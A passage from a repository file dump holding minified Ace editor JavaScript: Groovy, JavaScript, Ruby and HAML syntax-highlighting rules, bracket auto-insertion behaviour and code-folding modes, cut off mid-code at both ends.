r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/groovy_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"assert|with|abstract|continue|for|new|switch|assert|default|goto|package|synchronized|boolean|do|if|private|this|break|double|implements|protected|throw|byte|else|import|public|throws|case|enum|instanceof|return|transient|catch|extends|int|short|try|char|final|interface|static|void|class|finally|long|strictfp|volatile|def|float|native|super|while\",t=\"null|Infinity|NaN|undefined\",n=\"AbstractMethodError|AssertionError|ClassCircularityError|ClassFormatError|Deprecated|EnumConstantNotPresentException|ExceptionInInitializerError|IllegalAccessError|IllegalThreadStateException|InstantiationError|InternalError|NegativeArraySizeException|NoSuchFieldError|Override|Process|ProcessBuilder|SecurityManager|StringIndexOutOfBoundsException|SuppressWarnings|TypeNotPresentException|UnknownError|UnsatisfiedLinkError|UnsupportedClassVersionError|VerifyError|InstantiationException|IndexOutOfBoundsException|ArrayIndexOutOfBoundsException|CloneNotSupportedException|NoSuchFieldException|IllegalArgumentException|NumberFormatException|SecurityException|Void|InheritableThreadLocal|IllegalStateException|InterruptedException|NoSuchMethodException|IllegalAccessException|UnsupportedOperationException|Enum|StrictMath|Package|Compiler|Readable|Runtime|StringBuilder|Math|IncompatibleClassChangeError|NoSuchMethodError|ThreadLocal|RuntimePermission|ArithmeticException|NullPointerException|Long|Integer|Short|Byte|Double|Number|Float|Character|Boolean|StackTraceElement|Appendable|StringBuffer|Iterable|ThreadGroup|Runnable|Thread|IllegalMonitorStateException|StackOverflowError|OutOfMemoryError|VirtualMachineError|ArrayStoreException|ClassCastException|LinkageError|NoClassDefFoundError|ClassNotFoundException|RuntimeException|Exception|ThreadDeath|Error|Throwable|System|ClassLoader|Cloneable|Class|CharSequence|Comparable|String|Object\",r=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"support.function\":n,\"constant.language\":t},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'\"\"\"',next:\"qqstring\"},{token:\"string\",regex:\"'''\",next:\"qstring\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\?:|\\\\?\\\\.|\\\\*\\\\.|<=>|=~|==~|\\\\.@|\\\\*\\\\.@|\\\\.&|as|in|is|!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqstring:[{token:\"constant.language.escape\",regex:/\\\\(?:u[0-9A-Fa-f]{4}|.|$)/},{token:\"constant.language.escape\",regex:/\\$[\\w\\d]+/},{token:\"constant.language.escape\",regex:/\\$\\{[^\"\\}]+\\}?/},{token:\"string\",regex:'\"{3,5}',next:\"start\"},{token:\"string\",regex:\".+?\"}],qstring:[{token:\"constant.language.escape\",regex:/\\\\(?:u[0-9A-Fa-f]{4}|.|$)/},{token:\"string\",regex:\"'{3,5}\",next:\"start\"},{token:\"string\",regex:\".+?\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.GroovyHighlightRules=o}),define(\"ace/mode/groovy\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript\",\"ace/mode/groovy_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript\").Mode,s=e(\"./groovy_highlight_rules\").GroovyHighlightRules,o=function(){i.call(this),this.HighlightRules=s};r.inherits(o,i),function(){this.createWorker=function(e){return null},this.$id=\"ace/mode/groovy\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-haml.js",
    "content": "define(\"ace/mode/ruby_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.constantOtherSymbol={token:\"constant.other.symbol.ruby\",regex:\"[:](?:[A-Za-z_]|[@$](?=[a-zA-Z0-9_]))[a-zA-Z0-9_]*[!=?]?\"},o=t.qString={token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},u=t.qqString={token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},a=t.tString={token:\"string\",regex:\"[`](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[`]\"},f=t.constantNumericHex={token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F](?:[0-9a-fA-F]|_(?=[0-9a-fA-F]))*\\\\b\"},l=t.constantNumericFloat={token:\"constant.numeric\",regex:\"[+-]?\\\\d(?:\\\\d|_(?=\\\\d))*(?:(?:\\\\.\\\\d(?:\\\\d|_(?=\\\\d))*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},c=function(){var e=\"abort|Array|assert|assert_equal|assert_not_equal|assert_same|assert_not_same|assert_nil|assert_not_nil|assert_match|assert_no_match|assert_in_delta|assert_throws|assert_raise|assert_nothing_raised|assert_instance_of|assert_kind_of|assert_respond_to|assert_operator|assert_send|assert_difference|assert_no_difference|assert_recognizes|assert_generates|assert_response|assert_redirected_to|assert_template|assert_select|assert_select_email|assert_select_rjs|assert_select_encoded|css_select|at_exit|attr|attr_writer|attr_reader|attr_accessor|attr_accessible|autoload|binding|block_given?|callcc|caller|catch|chomp|chomp!|chop|chop!|defined?|delete_via_redirect|eval|exec|exit|exit!|fail|Float|flunk|follow_redirect!|fork|form_for|form_tag|format|gets|global_variables|gsub|gsub!|get_via_redirect|host!|https?|https!|include|Integer|lambda|link_to|link_to_unless_current|link_to_function|link_to_remote|load|local_variables|loop|open|open_session|p|print|printf|proc|putc|puts|post_via_redirect|put_via_redirect|raise|rand|raw|readline|readlines|redirect?|request_via_redirect|require|scan|select|set_trace_func|sleep|split|sprintf|srand|String|stylesheet_link_tag|syscall|system|sub|sub!|test|throw|trace_var|trap|untrace_var|atan2|cos|exp|frexp|ldexp|log|log10|sin|sqrt|tan|render|javascript_include_tag|csrf_meta_tag|label_tag|text_field_tag|submit_tag|check_box_tag|content_tag|radio_button_tag|text_area_tag|password_field_tag|hidden_field_tag|fields_for|select_tag|options_for_select|options_from_collection_for_select|collection_select|time_zone_select|select_date|select_time|select_datetime|date_select|time_select|datetime_select|select_year|select_month|select_day|select_hour|select_minute|select_second|file_field_tag|file_field|respond_to|skip_before_filter|around_filter|after_filter|verify|protect_from_forgery|rescue_from|helper_method|redirect_to|before_filter|send_data|send_file|validates_presence_of|validates_uniqueness_of|validates_length_of|validates_format_of|validates_acceptance_of|validates_associated|validates_exclusion_of|validates_inclusion_of|validates_numericality_of|validates_with|validates_each|authenticate_or_request_with_http_basic|authenticate_or_request_with_http_digest|filter_parameter_logging|match|get|post|resources|redirect|scope|assert_routing|translate|localize|extract_locale_from_tld|caches_page|expire_page|caches_action|expire_action|cache|expire_fragment|expire_cache_for|observe|cache_sweeper|has_many|has_one|belongs_to|has_and_belongs_to_many\",t=\"alias|and|BEGIN|begin|break|case|class|def|defined|do|else|elsif|END|end|ensure|__FILE__|finally|for|gem|if|in|__LINE__|module|next|not|or|private|protected|public|redo|rescue|retry|return|super|then|undef|unless|until|when|while|yield\",n=\"true|TRUE|false|FALSE|nil|NIL|ARGF|ARGV|DATA|ENV|RUBY_PLATFORM|RUBY_RELEASE_DATE|RUBY_VERSION|STDERR|STDIN|STDOUT|TOPLEVEL_BINDING\",r=\"$DEBUG|$defout|$FILENAME|$LOAD_PATH|$SAFE|$stdin|$stdout|$stderr|$VERBOSE|$!|root_url|flash|session|cookies|params|request|response|logger|self\",i=this.$keywords=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"variable.language\":r,\"support.function\":e,\"invalid.deprecated\":\"debugger\"},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"comment\",regex:\"^=begin(?:$|\\\\s.*$)\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},[{regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren.lparen\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.start\",regex:/\"/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/\"/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/'/,push:[{token:\"constant.language.escape\",regex:/\\\\['\\\\]/},{token:\"string.end\",regex:/'/,next:\"pop\"},{defaultToken:\"string\"}]}],{token:\"text\",regex:\"::\"},{token:\"variable.instance\",regex:\"@{1,2}[a-zA-Z_\\\\d]+\"},{token:\"support.class\",regex:\"[A-Z][a-zA-Z_\\\\d]+\"},s,f,l,{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"punctuation.separator.key-value\",regex:\"=>\"},{stateName:\"heredoc\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[3]),[{type:\"constant\",value:i[1]},{type:\"string\",value:i[2]},{type:\"support.class\",value:i[3]},{type:\"string\",value:i[4]}]},regex:\"(<<-?)(['\\\"`]?)([\\\\w]+)(['\\\"`]?)\",rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^ +\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:\"string.character\",regex:\"\\\\B\\\\?.\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\"^=end(?:$|\\\\s.*$)\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.normalizeRules()};r.inherits(c,i),t.RubyHighlightRules=c}),define(\"ace/mode/haml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\",\"ace/mode/ruby_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=e(\"./ruby_highlight_rules\"),o=s.RubyHighlightRules,u=function(){this.$rules={start:[{token:\"punctuation.section.comment\",regex:/^\\s*\\/.*/},{token:\"punctuation.section.comment\",regex:/^\\s*#.*/},{token:\"string.quoted.double\",regex:\"==.+?==\"},{token:\"keyword.other.doctype\",regex:\"^!!!\\\\s*(?:[a-zA-Z0-9-_]+)?\"},s.qString,s.qqString,s.tString,{token:[\"entity.name.tag.haml\"],regex:/^\\s*%[\\w:]+/,next:\"tag_single\"},{token:[\"meta.escape.haml\"],regex:\"^\\\\s*\\\\\\\\.\"},s.constantNumericHex,s.constantNumericFloat,s.constantOtherSymbol,{token:\"text\",regex:\"=|-|~\",next:\"embedded_ruby\"}],tag_single:[{token:\"entity.other.attribute-name.class.haml\",regex:\"\\\\.[\\\\w-]+\"},{token:\"entity.other.attribute-name.id.haml\",regex:\"#[\\\\w-]+\"},{token:\"punctuation.section\",regex:\"\\\\{\",next:\"section\"},s.constantOtherSymbol,{token:\"text\",regex:/\\s/,next:\"start\"},{token:\"empty\",regex:\"$|(?!\\\\.|#|\\\\{|\\\\[|=|-|~|\\\\/)\",next:\"start\"}],section:[s.constantOtherSymbol,s.qString,s.qqString,s.tString,s.constantNumericHex,s.constantNumericFloat,{token:\"punctuation.section\",regex:\"\\\\}\",next:\"start\"}],embedded_ruby:[s.constantNumericHex,s.constantNumericFloat,{token:\"support.class\",regex:\"[A-Z][a-zA-Z_\\\\d]+\"},{token:(new o).getKeywords(),regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:[\"keyword\",\"text\",\"text\"],regex:\"(?:do|\\\\{)(?: \\\\|[^|]+\\\\|)?$\",next:\"start\"},{token:[\"text\"],regex:\"^$\",next:\"start\"},{token:[\"text\"],regex:\"^(?!.*\\\\|\\\\s*$)\",next:\"start\"}]}};r.inherits(u,i),t.HamlHighlightRules=u}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return 